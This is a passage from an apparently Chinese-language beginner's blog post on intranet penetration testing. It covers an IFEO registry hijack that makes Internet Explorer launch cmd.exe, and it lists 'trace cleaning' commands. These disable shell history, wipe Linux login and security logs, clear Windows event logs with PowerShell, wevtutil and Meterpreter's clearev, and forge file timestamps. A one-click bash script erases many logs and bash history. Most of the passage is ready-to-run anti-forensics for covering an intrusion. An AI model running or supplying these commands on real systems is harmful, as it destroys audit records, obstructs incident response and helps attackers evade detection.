HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe:指定了注册表路径,这里是Image File Execution Options(IFEO)的路径,IFEO用于配置特定可执行文件的额外调试或执行选项。
/v "Debugger":指定要创建或修改的值名称,这里是Debugger,它通常用于指定当某个程序启动时应该首先执行的调试器或程序。
/t REG_SZ:指定要设置的值的类型,这里是REG_SZ,表示字符串值。
/d "c:\windows\system32\cmd.exe":指定值的数据,这里是cmd.exe的路径,意味着当iexplore.exe(即Internet Explorer浏览器)尝试执行时,将首先执行cmd.exe。
/f:表示强制操作,即使在没有权限的情况下也会尝试添加或修改注册表项。
痕迹清理
Linux
Unix/Linux系统中用于清除命令历史和禁用命令历史记录的shell命令
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
清除登录系统失败的记录
echo > /var/log/btmp
Lastb 检验
清除登录系统成功的记录:
echo > /var/log/wtmp
Last 检验
清除相关日志信息:
清除用户最后一次登录时间:echo > /var/log/lastlog #lastlog命令
清除当前登录用户的信息:echo > /var/log/utmp #使用w,who,users等命令
清除安全日志记录:cat /dev/null > /var/log/secure
清除系统日志记录:cat /dev/null > /var/log/message
Powershell-清除系统日志
(前提目标是 system 权限)
eventvwr PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}" Get-WinEvent -ListLog Application,Setup,Security -Force | % {Wevtutil.exe cl $_.Logname}
PowerShell对文件修改时间戳
Function edit_time($path){$date1 =Get-ChildItem |
Select LastWriteTime|Get-Random;$date2 =Get-ChildItem |
Select LastWriteTime|Get-Random;$date3 =Get-ChildItem |
Select LastWriteTime|Get-Random;$(Get-Item $path).lastaccesstime=$date1.LastWriteTime;
$(Get-Item $path).creationtime=$date2.LastWriteTime ;
$(Get-Item $path).lastwritetime=$date3.LastWriteTime};
edit_time("C:\Users\saulGoodman\Desktop\工具包\pass.txt")
linux 日志文件
/var/run/utmp # 记录现在登入的用户
/var/log/wtmp # 记录用户所有的登入和登出
/var/log/lastlog # 记录每一个用户最后登入时间
/var/log/btmp # 记录错误的登入尝试
/var/log/auth.log # 需要身份确认的操作
/var/log/secure # 记录安全相关的日志信息
/var/log/maillog # 记录邮件相关的日志信息
/var/log/message # 记录系统启动后的信息和错误日志
/var/log/cron # 记录定时任务相关的日志信息
/var/log/spooler # 记录UUCP和news设备相关的日志信息
/var/log/boot.log # 记录守护进程启动和停止相关的日志消息
Windows
meterperter 自带清除日志功能
clearev
清除 recent
del /f /s /q “%userprofile%\Recent*.*
一键清除脚本
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c
免杀
免杀部分的内容后续会单独写一篇
总结:菜鸟本人经过一系列的内网渗透的学习,认为对于像我一样的新手而言,实操是非常的关键的,要勤于搭建靶场练习才能让各个步骤的利用方式更加熟悉,也能更好的了解内网的整个体系,才能更好的掌握内网渗透的方方面面知识,后续会再写一篇“内网渗透该怎么学-进阶篇”,敬请期待!感谢各位大佬的观看!!若文章内容有错误望帮忙指正!
-